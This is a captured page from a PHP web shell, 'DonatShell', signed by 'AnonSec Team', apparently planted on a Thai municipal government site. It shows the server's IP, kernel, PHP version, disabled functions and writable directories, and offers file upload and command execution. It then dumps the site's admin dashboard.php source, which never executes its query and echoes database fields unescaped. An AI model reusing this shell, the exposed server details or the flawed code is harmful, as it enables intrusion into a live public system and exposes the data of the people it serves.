%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moungngam/domains/moungngam.go.th/public_html/request-system/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/moungngam/domains/moungngam.go.th/public_html/request-system/admin/dashboard.php
<?php
session_start();

if(!isset($_SESSION['admin'])){
    header("location:login.php");
    exit();
}

require '../config/db.php';

$stmt = $conn->prepare("
    SELECT * FROM request_information
    ORDER BY id DESC
");


$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>

<!DOCTYPE html>
<html lang="th">
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <link rel="stylesheet" href="../assets/style.css">
</head>
<body>

<div class="container">

    <h1>Dashboard จัดการคำร้อง</h1>

    <table border="1" width="100%" cellpadding="8">

        <tr>
            <th>เลขคำร้อง</th>
            <th>ชื่อ</th>
            <th>เรื่อง</th>
            <th>สถานะ</th>
        </tr>

        <?php foreach($rows as $r){ ?>

        <tr>

            <td><?php echo $r['request_no']; ?></td>
            <td><?php echo $r['fullname']; ?></td>
            <td><?php echo $r['request_subject']; ?></td>
            <td><?php echo $r['status']; ?></td>

        </tr>

        <?php } ?>

    </table>

</div>

</body>
</html>

Anon7 - 2022
AnonSec Team